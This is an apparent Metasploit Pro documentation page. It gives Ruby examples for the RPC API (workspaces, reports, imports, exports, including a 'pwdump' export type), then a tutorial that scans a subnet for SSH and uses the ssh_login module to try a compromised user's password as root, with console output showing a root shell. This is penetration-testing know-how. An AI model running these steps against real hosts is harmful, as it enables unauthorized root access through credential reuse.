Sample Usage of the RPC API
The following scripts provide examples of how you can use the RPC API to perform common tasks. These examples can be viewed in metasploit/apps/pro/api-example
.
Adding a Workspace
ruby
1#2# NOTE: Workspace and Project are the same thing.3#4require_relative 'metasploit_rpc_client'5workspace_attrs = {67name: "FooCorp Pentest",8limit_to_network: true,9boundary: "10.2.3.1-10.2.3.24",10description: "A test of FooCorp's mission-critical internal Quake LAN."11}1213# Setup stuff from CLI14api_token = ARGV[0]15host = ARGV[1]1617# Make the client - set ssl to true in install environments18client = MetasploitRPCClient.new(host:host, token:api_token, ssl:false, port:50505)19client.call "pro.workspace_add", workspace_attrs
Listing, Downloading, and Generating a Report
ruby
1# Examples of report listing, download, and generation via RPC API.2#3# Usage:4# ruby report_api_test.rb <SERVICE KEY> <MSPro instance> '<WorkspaceName>'5#6# Service key: Generate an API token from Global Settings, requires7# Pro licensed instance.8# MSPro instance: 127.0.0.1 if running locally9#10#1112require_relative 'metasploit_rpc_client'1314# Setup stuff from CLI15api_token = ARGV[0]16host = ARGV[1]17workspace_name = ARGV[2]1819# Make the client20client = MetasploitRPCClient.new(host:host, token:api_token, ssl:false, port:50505)2122## Reports23# List report types24type_list = client.call('pro.list_report_types')25puts "Allowed Report types: \n#{type_list}"2627# List current reports28# report_list = client.call('pro.report_list', workspace_name)29# puts "\n\nExisting Reports: #{report_list}\n"3031# Download report artifact32# report_artifact_id = 133# artifact = client.call('pro.report_artifact_download', report_artifact_id)34# tmp_path = "/tmp/report_#{report_artifact_id}#{File.extname(artifact['file_path'])}"35# File.open(tmp_path, 'w') {|c| c.write artifact['data']}36# puts "Wrote report artifact #{report_artifact_id} to #{tmp_path}"3738# Create a report39# report_hash = {workspace: workspace_name,40# name: "SuperTest_#{Time.now.to_i}",41# report_type: :audit,42# #se_campaign_id: 1,43# created_by: 'whoareyou',44# file_formats: [:pdf]45# }46# report_creation = client.call('pro.start_report', report_hash)47# puts "\n\nCreated report: \n#{report_creation}"4849## Download report and child artifacts50# report_id = 151# report = client.call('pro.report_download', report_id)52# report['report_artifacts'].each_with_index do |a, i|53# tmp_path = "/tmp/report_test_#{i}_#{Time.now.to_i}#{File.extname(a['file_path'])}"54# File.open(tmp_path, 'w') {|c| c.write a['data']}55# puts "Wrote report artifact #{report_id} to #{tmp_path}"56# end
Importing Data
ruby
1#2# Example of data import via the RPC API.3#4# Usage:5# ruby import_api_test.rb <Service key> <MSPro instance> \6# '<Project name>' \7# '<Full path to import file>'8#9# Service key: Generate an API token from Global Settings, requires10# Pro licensed instance.11# MSPro instance: 127.0.0.1, if running locally12# Project name: name of an existing workspace into which to import13# Import file path: fully qualified path to import file of supported14# format15#16require_relative 'metasploit_rpc_client'1718# CLI arguments19api_token = ARGV[0]20host = ARGV[1]21workspace_name = ARGV[2]22import_file_path = ARGV[3]2324unless api_token && host && workspace_name25raise Exception, 'You must specify an API token, an instance address, and a workspace name.'26end27unless import_file_path28raise Exception, 'You must specify an import file path.'29end3031# Make the client32client = MetasploitRPCClient.new(host:host, token:api_token, ssl:false, port:50505)3334# Import config35import_hash = {36workspace: workspace_name,37# Toggle datastore options (documented, with some exceptions, like38# this handy one) thusly:39# DS_AUTOTAG_OS: true,40# TODO Update with correct path:41DS_PATH: import_file_path42}4344import = client.call('pro.start_import', import_hash)45puts "\nStarted import: \n#{import}"
Exporting Data
ruby
1# Examples of export listing, download, and generation via2# RPC API.3#4# Usage:5# ruby export_api_test.rb <SERVICE KEY> <MSPro instance> '<WorkspaceName>'6#7# Service key: Generate an API token from Global Settings, requires8# Pro licensed instance.9# MSPro instance: 127.0.0.1 if running locally10#11#1213require_relative 'metasploit_rpc_client'1415# Setup stuff from CLI16api_token = ARGV[0]17host = ARGV[1]18workspace_name = ARGV[2]1920# Make the client21client = MetasploitRPCClient.new(host:host, token:api_token, ssl:false, port:50505)2223### Exports24## List current exports25export_list = client.call('pro.export_list', workspace_name)26puts "Existing Exports: #{export_list}"2728## Create export29# export_types = ['zip_workspace','xml','replay_scripts','pwdump']30# export_config = {created_by: 'whoareyou',31# export_type: export_types[0],32# workspace: workspace_name}33# export_creation = client.call('pro.start_export', export_config)34# puts "Created export: #{export_creation}"3536## Download export37# export_id = 138# export = client.call('pro.export_download', export_id)39# tmp_path = "/tmp/export_test_#{export_id}#{File.extname(export['file_path'])}"40# File.open(tmp_path, 'w') {|c| c.write export['data']}41# puts "Wrote export #{export_id} to #{tmp_path}"
Tutorial
Find Linux Servers that allow me to log in as root using a known credential.
Let's lay out the testing scenario. Assume, through one method or another, I've obtained the clear-text password for a single user - Bob. I have Bob's Windows credentials and can easily, through RDP or psexec, access his machine. I've determined that Bob is a Linux Administrator. I wish to determine what, if any, Linux servers allow me to log in as "root" using Bob's compromised password. There are a number of ways to accomplish this. Below is one such method.
1nmap 10.0.1.1/24 -p22 -oG ssh_scan.gnmap
The file, ssh_scan.gnmap, contains our live hosts and the status of SSH. We'll need to clean up the results file to hone in on only those hosts with SSH "open." The following command does just that and saves the target IPs to a separate file:
1cat ssh_scan.gnmap | grep open | cut -d " " -f 2 > ssh_hosts.txt
We now have a file named ssh_hosts.txt that contains a list of IP addresses running SSH. Next, let's start Metasploit and the MSGRPC interface:
1msfconsole msf exploit(handler) > load msgrpc Pass=pa55w0rd2[*] MSGRPC Service: 127.0.0.1:555523[*] MSGRPC Username: msf4[*] MSGRPC Password: pa55w0rd5[*] Successfully loaded plugin: msgrpc msf exploit(handler) >
At this point, Metasploit's RPC interface is listening on port 55552. We can proceed to write our Python script to automate the task of testing SSH logins. I highly recommend you look over Metasploit's Remote API Documentation before proceeding. The following pseudo code addresses our needs:
- Authenticate to Metasploit's MSGRPC interface (username: msf, password: pa55w0rd).
- Create a Metasploit console.
- For each Linux host in the file, run the SSH_login module using Bob's compromised password of 's3cr3t'.
- Destroy the Metasploit console (clean up to preserve resources).
- Interact with any SSH sessions established.
A complete listing of the Python source is below (be gentle, I'm not a programmer). To proceed with the testing, I update the user settings at the top of the script to reflect a USERNAME of "root" and a PASSWORD of "s3cr3t" (which is Bob's compromised password). Save the changes and run the Python script:
1./msfrpc_ssh_scan.py2[+] Authentication successful3[+] Console 0 created [!] Testing host 10.0.1.434[+] Listing sessions... Session ID Target 1 root@10.0.1.43
Looking at the session listing, the script successfully authenticated as "root" using Bob's password on host 10.0.1.43. Our Metasploit console that we started previously confirms this fact:
1msf exploit(handler) >2[*] Command shell session 1 opened (10.0.2.10:43863 -> 10.0.1.43:22)...3msf exploit(handler) > sessions -l4Active sessions5===============61 shell linux SSH root:s3cr3t (10.0.1.43:22) 10.0.2.10:43863 -> 10.0.1.43:22 (10.0.1.43)